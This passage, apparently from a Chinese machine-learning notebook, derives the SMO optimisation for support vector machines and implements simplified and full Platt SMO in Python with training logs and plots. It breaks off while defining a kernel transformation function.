$w(\alpha_2) = \alpha_1 + \alpha_2 - \frac{1}{2}\alpha_1^2x_1^Tx_1 - \frac{1}{2}\alpha_2^2x_2^Tx_2 - y_1y_2\alpha_1\alpha_2x_1^Tx_2 - y_1\alpha_1v_1 - y_2\alpha_2v_2 + constant$

其中

定义$f(x_i) = \sum\limits_{j=1}^n\alpha_jy_jx_i^Tx_j + b$

$v_i =\sum\limits_{j=3}^n\alpha_jy_jx_i^Tx_j = f(x_i) -\sum\limits_{j=1}^2\alpha_jy_jx_i^Tx_j- b $

之后找到$\alpha_1和\alpha_2的关系$

因为$\sum\limits_{i=1}^n\alpha_iy_i=0$,所以将除了$\alpha_1y_1,\alpha_2y_2$的其他项看做常数-B

$\alpha_1y_1 + \alpha_2y_2 = B$,等式乘以$y_1$得到

$\alpha_1 = \gamma - s\alpha_2$ $,其中\gamma为By_1,s为y_1y_2$

带入公式,并且进行偏导

$\frac{\partial W(\alpha_2)}{\partial\alpha_2}=-s +1 +\gamma sx_1^Tx_1 - \alpha_2 x_1^Tx_1 - \alpha_2 x_2^Tx_2 - \gamma sx_1^Tx_2 + 2\alpha_2x_1^Tx_2 + y_2v_1 - y_2v_2 = 0$

导入$s=y_1y_2$得到

$\alpha_2^{new} = \frac{y_2(y_2-y_1+y_1\gamma(x_1^\intercal x_1 - x_1^\intercal x_2)+ v_1 -v_2)}{x_1^\intercal x_1 + x_2^\intercal x_2-2x_1^\intercal x_2}$

令$E_i = f(x_i)-y_i$

$\eta=x_1^Tx_1 + x_2^Tx_2 - 2x_1^Tx_2$

$E_i$为误差项,$\eta$为学习速率

已知$\gamma= \alpha_1^{old} + s\alpha_2^{old}$,和

$v_j=\sum\limits_{i=3}^n\alpha_iy_ix_j^Tx_i = f(x_j) -\sum\limits_{i=1}^2\alpha_iy_ix_j^Tx_i- b $$

简化$\alpha_2^{new}$

$\alpha_2^{new}=\alpha_2^{old} +\frac{y_2(E_1-E_2)}{\eta}$

加上约束,最终得到的解为

$\alpha_2^{new,clipped}=\begin{cases}
H,& \mbox{if }a_2^{new} >H \\
a_2^{new},& \mbox{if }L<=a_2^{new}<=H \\
L,& \mbox{if }a_2^{new} <L
\end{cases}$

又因为

$\alpha_1^{old}=\gamma -s\alpha_2^{old}$

$\alpha_1^{new} = \gamma -s\gamma_2^{new,clipped}$

消去$\gamma$得到

$\alpha_1^{new} = \alpha_1^{old} + y_1y_2(\alpha_2^{old} - \alpha_2^{new,clipped})$

b的部分

根据$y_1(w^Tx_1 + b)=1$两边乘以$y_1$,得到

$w^Tx_i+b =y_1$,又因为$w= \sum\limits_{i=1}^n\alpha_iy_ix_i$,得到

$\sum\limits_{i=1}^n\alpha_iy_ix_ix_1 +b=y1$单独提出$\alpha_1,alpha_2$,得

$b_1^{new} = y_1 -\sum\limits_{i=3}^n\alpha_iy_ix_i^Tx_1 - \alpha_1^{new}y_1x_1^Tx_1 - \alpha_2^{new}y_2x_2^Tx_1$

其中前两项为
$y_1 -\sum\limits_{i=3}^n\alpha_iy_ix_i^Tx_1=-E_1 + \alpha_1^{old}y_1x_1^Tx_1 + \alpha_2^{old}y_2x_2^Tx_1 + b^{old}$

整理得到

$b_1^{new}=b^{old} -E_1-y_1(\alpha_1^{new}- \alpha_1^{old})x_1^Tx_1 -y_2(\alpha_2^{new}-\alpha_2^{old})x_2^Tx_1$

同理得到$b_2^{new}$

$b_2^{new}=b^{old} -E_2-y_1(\alpha_1^{new}- \alpha_1^{old})x_1^Tx_2 -y_2(\alpha_2^{new}-\alpha_2^{old})x_2^Tx_2$

当$b_1,b_2都有效时,b^{new}=b_1^{new} = b_2^{new}$

所以,b的取值为

SMO计算梳理

  1. 计算误差$E_i$

$E_i=f(x_i) - y_i = \sum\limits_{j=1}^n\alpha_jy_jx_i^Tx_j +b -y_i$

  1. 计算上下限
  1. 计算$\eta$

$\eta=x_1^Tx_1 + x_2^Tx_2 - 2x_1^Tx_2$

  1. 更新$\alpha_j$

$\alpha_j^{new}=\alpha_j^{old} +\frac{y_j(E_1-E_j)}{\eta}$

  1. 根据取值范围修剪$\alpha_j$

$\alpha_j^{new,clipped}=\begin{cases}
H,& \mbox{if }a_j^{new} >H \\
a_2^{new},& \mbox{if }L<=a_j^{new}<=H \\
L,& \mbox{if }a_j^{new} <L
\end{cases}$

  1. 更新$\alpha_i$

$alpha_i^{new} = \alpha_i^{old} + y_jy_i(\alpha_j^{old} - \alpha_j^{new,clipped})$

  1. 更新$b_i,b_j$

$b_i^{new}=b^{old} -E_i-y_i(\alpha_i^{new}- \alpha_i^{old})x_i^Tx_i -y_j(\alpha_j^{new}-\alpha_j^{old})x_j^Tx_i$

$b_j^{new}=b^{old} -E_j-y_i(\alpha_i^{new}- \alpha_i^{old})x_i^Tx_j -y_j(\alpha_j^{new}-\alpha_j^{old})x_j^Tx_j$

  1. 根据bi,bj更新b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import numpy as np
#SMO辅助函数
def loadDataset(file_name):
"""读取文件,得到两个list,
data_mat 为2列m行,label_mat为m个元素"""
data_mat=[];label_mat=[]
fr = open(file_name)
for line in fr.readlines():
line_arr = line.strip().split('\t')
data_mat.append([float(line_arr[0]),float(line_arr[1])])
label_mat.append(float(line_arr[2]))
return data_mat,label_mat

def selectJrand(i,m):
"""根据i,随机选取一个不是i的j"""
import random
j = i
while(j==i):
j = int(random.uniform(0,m))
return j

def clipAlpha(aj,H,L):
"""修剪alpha"""
if aj > H:
aj = H
elif aj < L:
aj = L
return aj
1
2
data_arr,label_arr = loadDataset('../../Downloads/machinelearninginaction/Ch06/testSet.txt')
len(data_arr)
100
1
set(label_arr)
{-1.0, 1.0}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#流程为
#创建一个alpha向量,初始化为0
#当迭代次数小于最大迭代次数时(外循环)
# 对数据集的每一个数据向量(内循环)
# 如果该向量可以被优化:
# 随机选择另一个数据向量
# 同时优化这两个向量
# 如果两个向量都不能被优化,退出内循环
# 如果所有向量都没有被优化,增加迭代数目,继续下一次循环


def smo_simple(data_mat_in,class_labels,C,toler,max_iter):
"""数据集,数据标签,松弛常数,容错率,最大循环次数"""
data_matrix = np.mat(data_mat_in);label_mat =np.mat(class_labels).transpose()
b= 0;m,n = np.shape(data_matrix)
alphas = np.mat(np.zeros((m,1)))
iter = 0
#外循环为总的循环数
while(iter < max_iter):
alpha_pairs_chanaged = 0
#内循环为每个求E_i,判断是否要优化,能优化则随机找一个j,进行优化,优化成功则改变alpha_pairs_changed,
#一次内循环后,如果有改变则改iter为0,继续进行,如果最大循环次数中都没有改变则跳出外循环,得到结果
for i in range(m):
#1.求E_i
fx_i = float(np.multiply(alphas,label_mat).T * (data_matrix * data_matrix[i,:].T)) + b
e_i = fx_i - float(label_mat[i])
#根据kkt标准
#alpha=0时,y_ig(x_i) >=1
#0<alpha<C时,y_ig(x_i) = 1
#alpha =C时,y_Ig(x_i) <= 1
#如果不符合其中的一条,则进行优化
if ((label_mat[i] * e_i < -toler) and (alphas[i] < C) or
((label_mat[i] * e_i > toler) and (alphas[i] > 0))):
j = selectJrand(i,m)
#求出了f(x_j)
fx_j = float(np.multiply(alphas,label_mat).T * (data_matrix * data_matrix[j,:].T)) + b
#fx_j = float(np.multiply(alphas,label_mat).T) * (data_matrix[j,:] * data_matrix.T).T + b #为原本方程的顺序
e_j = fx_j - float(label_mat[j]) #得到E_j

#2.求上下限
alpha_i_old = alphas[i].copy()
alpha_j_old = alphas[j].copy()
if (label_mat[i] != label_mat[j]):
L = max(0,alphas[j] - alphas[i])
H = min(C,C+ alphas[j] - alphas[i])
else:
L = max(0,alphas[j] + alphas[i] - C)
H = min(C, alphas[j] + alphas[i])
if L==H: #上下限相等,C为0,或者都为C,或者一个为C,一个为0;C为0时,则alpha都是0,不成立;都为C时,没法增大也没法变小,一个为C,一个为0时,即alpha_i为C,并不会改变,还是C
#print('L==H')
continue
#eta与原本的符号相反
eta = 2.0 * data_matrix[i,:] * data_matrix[j,:].T - data_matrix[i,:] * data_matrix[i,:].T - data_matrix[j,:] * data_matrix[j,:].T
if eta >= 0: #变化率为负数,并不符合,eta应为正数
#print('eta >=0')
continue
#原本的加上,现在为减去
alphas[j] -= label_mat[j] *(e_i - e_j)/eta
alphas[j] = clipAlpha(alphas[j],H,L)
if (abs(alphas[j] - alpha_j_old) <0.00001):
#print('j not moving enough') #变化太小,跳出本次循环,换其他j
continue
alphas[i] += label_mat[i]*label_mat[j] *(alpha_j_old - alphas[j])

b_1 = b - e_i - label_mat[i] * (alphas[i] - alpha_i_old) * data_matrix[i,:] * data_matrix[i,:].T - label_mat[j] * (alphas[j] - alpha_j_old)* data_matrix[i,:] * data_matrix[j,:].T

b_2 = b - e_j - label_mat[i] * (alphas[i] -alpha_i_old) * data_matrix[i,:] * data_matrix[j,:].T - label_mat[j] * (alphas[j] - alpha_j_old) * data_matrix[j,:] * data_matrix[j,:].T
if (0 <alphas[i]) and (C > alphas[i]):
b = b_1
elif (0 < alphas[j]) and (C > alphas[j]):
b = b_2
else:
b = (b_1 + b_2) /2.0
alpha_pairs_chanaged += 1
#print('iter: %d i:%d,pairs changed %d'%(iter,i,alpha_pairs_chanaged))
#print('alpha_i_old: %f, alpha_i_new: %f,alpha_j_old: %f, alpha_j_new: %f' %(alpha_i_old,alphas[i],alpha_j_old,alphas[j]))
print("fullSet, iter: %d , pairs changed %d" % (iter,alpha_pairs_chanaged))
if (alpha_pairs_chanaged == 0):
iter += 1
else:
iter =0
print('iteration number: %d' % iter)
return b,alphas
1
b,alphas = smo_simple(data_arr,label_arr,0.6,0.001,10)
fullSet, iter: 0 , pairs changed 7
iteration number: 0
fullSet, iter: 0 , pairs changed 4
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 6
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 2
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 2
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 2
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 0
iteration number: 4
fullSet, iter: 4 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 2
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 0
iteration number: 4
fullSet, iter: 4 , pairs changed 0
iteration number: 5
fullSet, iter: 5 , pairs changed 0
iteration number: 6
fullSet, iter: 6 , pairs changed 0
iteration number: 7
fullSet, iter: 7 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 0
iteration number: 4
fullSet, iter: 4 , pairs changed 0
iteration number: 5
fullSet, iter: 5 , pairs changed 0
iteration number: 6
fullSet, iter: 6 , pairs changed 0
iteration number: 7
fullSet, iter: 7 , pairs changed 0
iteration number: 8
fullSet, iter: 8 , pairs changed 0
iteration number: 9
fullSet, iter: 9 , pairs changed 0
iteration number: 10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#边界上的样本对应的α_i=0或者α_i=C,在优化过程中很难变化,然而非边界样本0<α_i<C会随着对其他变量的优化会有大的变化
from numpy import *
class optStruct:
def __init__(self,dataMatIn, classLabels, C, toler): # Initialize the structure with the parameters
self.X = dataMatIn
self.labelMat = classLabels
self.C = C
self.tol = toler
self.m = shape(dataMatIn)[0]
self.alphas = mat(zeros((self.m,1)))
self.b = 0
self.eCache = mat(zeros((self.m,2))) #第一项储存是否有效

def calcEk(oS, k):
fXk = float(multiply(oS.alphas,oS.labelMat).T*(oS.X*oS.X[k,:].T)) + oS.b
Ek = fXk - float(oS.labelMat[k])
return Ek

def selectJ(i, oS, Ei): #this is the second choice -heurstic, and calcs Ej
maxK = -1; maxDeltaE = 0; Ej = 0
oS.eCache[i] = [1,Ei] #set valid #choose the alpha that gives the maximum delta E
validEcacheList = nonzero(oS.eCache[:,0].A)[0]
if (len(validEcacheList)) > 1:
for k in validEcacheList: #loop through valid Ecache values and find the one that maximizes delta E
if k == i: continue #don't calc for i, waste of time
Ek = calcEk(oS, k)
deltaE = abs(Ei - Ek)
if (deltaE > maxDeltaE):
maxK = k; maxDeltaE = deltaE; Ej = Ek
return maxK, Ej
else: #in this case (first time around) we don't have any valid eCache values
j = selectJrand(i, oS.m)
Ej = calcEk(oS, j)
return j, Ej

def updateEk(oS, k):#after any alpha has changed update the new value in the cache
Ek = calcEk(oS, k)
oS.eCache[k] = [1,Ek]

def innerL(i, oS):
Ei = calcEk(oS, i)
#判断是否可以优化,不可以直接返回0,
#可以优化则搜索j,第一次是随机的,并且添加0到临时e表里,因为只有一个数值,所以随机选择j
#之后更新alpah-i j对,更新i,j的e值,返回结果
#第二次进入内训,i=1,添加1到临时表,j因为有两个所以选j=0,
#一遍循环后临时e表都有了,之后就能按照alpah不是0的来选择最佳的j
if ((oS.labelMat[i]*Ei < -oS.tol) and (oS.alphas[i] < oS.C)) or ((oS.labelMat[i]*Ei > oS.tol) and (oS.alphas[i] > 0)):
j,Ej = selectJ(i, oS, Ei) #this has been changed from selectJrand
alphaIold = oS.alphas[i].copy(); alphaJold = oS.alphas[j].copy();
if (oS.labelMat[i] != oS.labelMat[j]):
L = max(0, oS.alphas[j] - oS.alphas[i])
H = min(oS.C, oS.C + oS.alphas[j] - oS.alphas[i])
else:
L = max(0, oS.alphas[j] + oS.alphas[i] - oS.C)
H = min(oS.C, oS.alphas[j] + oS.alphas[i])
if L==H:
#print("L==H")
return 0
eta = 2.0 * oS.X[i,:]*oS.X[j,:].T - oS.X[i,:]*oS.X[i,:].T - oS.X[j,:]*oS.X[j,:].T
if eta >= 0:
#print("eta>=0")
return 0
oS.alphas[j] -= oS.labelMat[j]*(Ei - Ej)/eta
oS.alphas[j] = clipAlpha(oS.alphas[j],H,L)
#因为alpha_j改变了,所以需要重新计算,为什么不是一起更新
updateEk(oS, j) #added this for the Ecache
if (abs(oS.alphas[j] - alphaJold) < 0.00001):
#print("j not moving enough")
return 0
oS.alphas[i] += oS.labelMat[j]*oS.labelMat[i]*(alphaJold - oS.alphas[j])#update i by the same amount as j
updateEk(oS, i) #added this for the Ecache #the update is in the oppostie direction
b1 = oS.b - Ei- oS.labelMat[i]*(oS.alphas[i]-alphaIold)*oS.X[i,:]*oS.X[i,:].T - oS.labelMat[j]*(oS.alphas[j]-alphaJold)*oS.X[i,:]*oS.X[j,:].T
b2 = oS.b - Ej- oS.labelMat[i]*(oS.alphas[i]-alphaIold)*oS.X[i,:]*oS.X[j,:].T - oS.labelMat[j]*(oS.alphas[j]-alphaJold)*oS.X[j,:]*oS.X[j,:].T
if (0 < oS.alphas[i]) and (oS.C > oS.alphas[i]): oS.b = b1
elif (0 < oS.alphas[j]) and (oS.C > oS.alphas[j]): oS.b = b2
else: oS.b = (b1 + b2)/2.0
return 1
else: return 0
def innerL1(i, oS): #一起更新临时e
Ei = calcEk(oS, i)
#判断是否可以优化,不可以直接返回0,
#可以优化则搜索j,第一次是随机的,并且添加0到临时e表里,因为只有一个数值,所以随机选择j
#之后更新alpah-i j对,更新i,j的e值,返回结果
#第二次进入内训,i=1,添加1到临时表,j因为有两个所以选j=0,
#一遍循环后临时e表都有了,之后就能按照alpah不是0的来选择最佳的j
if ((oS.labelMat[i]*Ei < -oS.tol) and (oS.alphas[i] < oS.C)) or ((oS.labelMat[i]*Ei > oS.tol) and (oS.alphas[i] > 0)):
j,Ej = selectJ(i, oS, Ei) #this has been changed from selectJrand
alphaIold = oS.alphas[i].copy(); alphaJold = oS.alphas[j].copy();
if (oS.labelMat[i] != oS.labelMat[j]):
L = max(0, oS.alphas[j] - oS.alphas[i])
H = min(oS.C, oS.C + oS.alphas[j] - oS.alphas[i])
else:
L = max(0, oS.alphas[j] + oS.alphas[i] - oS.C)
H = min(oS.C, oS.alphas[j] + oS.alphas[i])
if L==H:
#print("L==H")
return 0
eta = 2.0 * oS.X[i,:]*oS.X[j,:].T - oS.X[i,:]*oS.X[i,:].T - oS.X[j,:]*oS.X[j,:].T
if eta >= 0:
#print("eta>=0");
return 0
oS.alphas[j] -= oS.labelMat[j]*(Ei - Ej)/eta
oS.alphas[j] = clipAlpha(oS.alphas[j],H,L)
if (abs(oS.alphas[j] - alphaJold) < 0.00001):
#print("j not moving enough")
return 0
oS.alphas[i] += oS.labelMat[j]*oS.labelMat[i]*(alphaJold - oS.alphas[j])#update i by the same amount as j
updateEk(oS,j)
updateEk(oS, i) #added this for the Ecache #the update is in the oppostie direction
b1 = oS.b - Ei- oS.labelMat[i]*(oS.alphas[i]-alphaIold)*oS.X[i,:]*oS.X[i,:].T - oS.labelMat[j]*(oS.alphas[j]-alphaJold)*oS.X[i,:]*oS.X[j,:].T
b2 = oS.b - Ej- oS.labelMat[i]*(oS.alphas[i]-alphaIold)*oS.X[i,:]*oS.X[j,:].T - oS.labelMat[j]*(oS.alphas[j]-alphaJold)*oS.X[j,:]*oS.X[j,:].T
if (0 < oS.alphas[i]) and (oS.C > oS.alphas[i]): oS.b = b1
elif (0 < oS.alphas[j]) and (oS.C > oS.alphas[j]): oS.b = b2
else: oS.b = (b1 + b2)/2.0
return 1
else: return 0
def smoP(dataMatIn, classLabels, C, toler, maxIter): #full Platt SMO
oS = optStruct(mat(dataMatIn),mat(classLabels).transpose(),C,toler)
iter = 0
entireSet = True; alphaPairsChanged = 0
#当循环数不满时并且是循环整个数据集或者不是循环整个数据集但是有alpha对改变时
while (iter < maxIter) and ((alphaPairsChanged > 0) or (entireSet)):
alphaPairsChanged = 0
if entireSet: #go over all
for i in range(oS.m):
alphaPairsChanged += innerL(i,oS)
#print("fullSet, iter: %d i:%d, pairs changed %d" % (iter,i,alphaPairsChanged))
print("fullSet, iter: %d , pairs changed %d" % (iter,alphaPairsChanged))
iter += 1
else:#go over non-bound (railed) alphas
nonBoundIs = nonzero((oS.alphas.A > 0) * (oS.alphas.A < C))[0]
for i in nonBoundIs:
alphaPairsChanged += innerL(i,oS)
#print("non-bound, iter: %d i:%d, pairs changed %d" % (iter,i,alphaPairsChanged))
print("non-bound, iter: %d , pairs changed %d" % (iter,alphaPairsChanged))
iter += 1
#第一次循环为整个,循环后改变为循环non-bound,如果没有a对改变,则变成整个的数据集
#在整个数据集循环后没有a对改变时,跳出循环,结束
if entireSet: entireSet = False #toggle entire set loop
elif (alphaPairsChanged == 0): entireSet = True
print("iteration number: %d" % iter)
return oS.b,oS.alphas
1
data_arr, label_arr = loadDataset('../../Downloads/machinelearninginaction/Ch06/testSet.txt')
1
b, alphas = smoP(data_arr,label_arr,0.6,0.001,40)
fullSet, iter: 0 , pairs changed 6
iteration number: 1
non-bound, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3

$w = \sum\limits_{i=1}^m\alpha_iy_ix_i$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#计算w值
def calc_ws(alphas,data_arr,class_labels):
x = np.mat(data_arr)
label_mat = np.mat(class_labels).transpose()
m,n = np.shape(x)
w = np.zeros((n,1))
for i in range(m):
w += np.multiply(alphas[i] * label_mat[i], x[i,:].T)
return w

def calc_ws(alphas,data_arr,class_labels):
#向量来求解
x = np.mat(data_arr);label_mat = np.mat(class_labels).T
w = x.T * np.multiply(alphas,label_mat)
return w
1
calc_ws(alphas,data_arr,label_arr)
matrix([[ 0.65307162],
        [-0.17196128]])
1
calc_ws(alphas,data_arr,label_arr)
matrix([[ 0.65307162],
        [-0.17196128]])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#绘制样本
def showClassifer(dataMat, w, b):
#绘制样本点
data_plus = [] #正样本
data_minus = [] #负样本
for i in range(len(dataMat)):
if label_arr[i] > 0:
data_plus.append(dataMat[i])
else:
data_minus.append(dataMat[i])
data_plus_np = np.array(data_plus) #转换为numpy矩阵
data_minus_np = np.array(data_minus) #转换为numpy矩阵
plt.scatter(np.transpose(data_plus_np)[0], np.transpose(data_plus_np)[1], s=30, alpha=0.7) #正样本散点图
plt.scatter(np.transpose(data_minus_np)[0], np.transpose(data_minus_np)[1], s=30, alpha=0.7) #负样本散点图
#绘制直线
x1 = max(dataMat)[0]
x2 = min(dataMat)[0]
a1, a2 = w
b = float(b)
a1 = float(a1[0])
a2 = float(a2[0])
y1, y2 = (-b- a1*x1)/a2, (-b - a1*x2)/a2
plt.plot([x1, x2], [y1, y2])
#找出支持向量点
for i, alpha in enumerate(alphas):
if abs(alpha) > 0:
x, y = dataMat[i]
plt.scatter([x], [y], s=150, c='none', alpha=0.7, linewidth=1.5, edgecolor='red')
plt.show()
1
2
from matplotlib import pylab as plt
%matplotlib inline

c越高,说明越不能容忍出现误差,容易过拟合。C越小,容易欠拟合。C过大或过小,泛化能力变差

1
2
3
b, alphas = smo_simple(data_arr,label_arr,0.6,0.001,10)
ws = calc_ws(alphas,data_arr,label_arr)
showClassifer(data_arr,ws,b)
fullSet, iter: 0 , pairs changed 3
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 4
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 3
iteration number: 0
fullSet, iter: 0 , pairs changed 2
iteration number: 0
fullSet, iter: 0 , pairs changed 2
iteration number: 0
fullSet, iter: 0 , pairs changed 4
iteration number: 0
fullSet, iter: 0 , pairs changed 3
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 3
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 0
iteration number: 4
fullSet, iter: 4 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 2
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 2
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 0
iteration number: 4
fullSet, iter: 4 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 2
iteration number: 0
fullSet, iter: 0 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 0
iteration number: 4
fullSet, iter: 4 , pairs changed 0
iteration number: 5
fullSet, iter: 5 , pairs changed 0
iteration number: 6
fullSet, iter: 6 , pairs changed 0
iteration number: 7
fullSet, iter: 7 , pairs changed 0
iteration number: 8
fullSet, iter: 8 , pairs changed 0
iteration number: 9
fullSet, iter: 9 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 0
iteration number: 4
fullSet, iter: 4 , pairs changed 0
iteration number: 5
fullSet, iter: 5 , pairs changed 0
iteration number: 6
fullSet, iter: 6 , pairs changed 1
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 3
iteration number: 0
fullSet, iter: 0 , pairs changed 0
iteration number: 1
fullSet, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 0
iteration number: 4
fullSet, iter: 4 , pairs changed 0
iteration number: 5
fullSet, iter: 5 , pairs changed 0
iteration number: 6
fullSet, iter: 6 , pairs changed 0
iteration number: 7
fullSet, iter: 7 , pairs changed 0
iteration number: 8
fullSet, iter: 8 , pairs changed 0
iteration number: 9
fullSet, iter: 9 , pairs changed 0
iteration number: 10

png

1
2
3
b, alphas = smoP(data_arr,label_arr,0.6,0.001,40)
ws = calc_ws(alphas,data_arr,label_arr)
showClassifer(data_arr,ws,b)
fullSet, iter: 0 , pairs changed 6
iteration number: 1
non-bound, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3

png

1
2
3
b, alphas = smoP(data_arr,label_arr,0.01,0.001,40)
ws = calc_ws(alphas,data_arr,label_arr)
showClassifer(data_arr,ws,b)
fullSet, iter: 0 , pairs changed 10
iteration number: 1
non-bound, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3

png

1
2
3
b, alphas = smoP(data_arr,label_arr,55,0.001,40)
ws = calc_ws(alphas,data_arr,label_arr)
showClassifer(data_arr,ws,b)
fullSet, iter: 0 , pairs changed 8
iteration number: 1
non-bound, iter: 1 , pairs changed 0
iteration number: 2
fullSet, iter: 2 , pairs changed 0
iteration number: 3

png

核函数
径向基核函数
$k(x,y) = exp(\frac{-||x -y||^2}{2\sigma^2})$

自变量为向量,可以计算自变量相对于(0,0)或者其他的向量距离

$\sigma$为到达率(reach)或者函数值跌落到0的速度参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#转换核函数
def kernelTrans(X,A,kTup):
"""X为整个数据集,A为其中一行,计算A行和整个数据集的核函数内积
如果是线性,的则直接得到x * xi^T
"""
m,n = shape(X)
K = np.mat(np.zeros((m,1)))
if kTup[0] == 'lin':
K = X * A.T #数据集i列的内积 (m,n) * (n,1) => (m,1)
